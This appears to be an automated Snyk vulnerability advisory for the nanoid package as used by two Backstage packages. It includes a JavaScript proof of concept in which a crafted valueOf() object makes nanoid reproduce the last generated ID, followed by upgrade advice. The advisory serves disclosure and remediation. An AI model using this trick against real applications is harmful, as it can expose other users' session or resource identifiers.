Snyk vulnerability [SNYK-JS-NANOID-2332193]

[github-actions]

Affecting Packages/Plugins

• @backstage/cli
• @backstage/plugin-scaffolder

Overview

Affected versions of this package are vulnerable to Information Exposure via the valueOf() function which allows to reproduce the last id generated.

PoC

import { nanoid } from 'nanoid';

const makeProxyNumberToReproducePreviousID = () => {
  let step = 0;
  return {
    valueOf() {
      // // if (!pool || pool.length < bytes) {
      if (step === 0) {
        step++;
        return 0;
      }

      // } else if (poolOffset + bytes > pool.length) {
      if (step === 1) {
        step++;
        return -Infinity;
      }

      // poolOffset += bytes
      if (step === 2) {
        step++;
        return 0;
      }

      return 21;
    },
  };
};

const ID1 = nanoid();
const ID2 = nanoid(makeProxyNumberToReproducePreviousID());
console.log({ ID1, ID2, isIDsEqual: ID1 === ID2 });

Remediation

Upgrade nanoid to version 3.1.31 or higher.

References

• Github Fix Commit
• GitHub PR
• PoC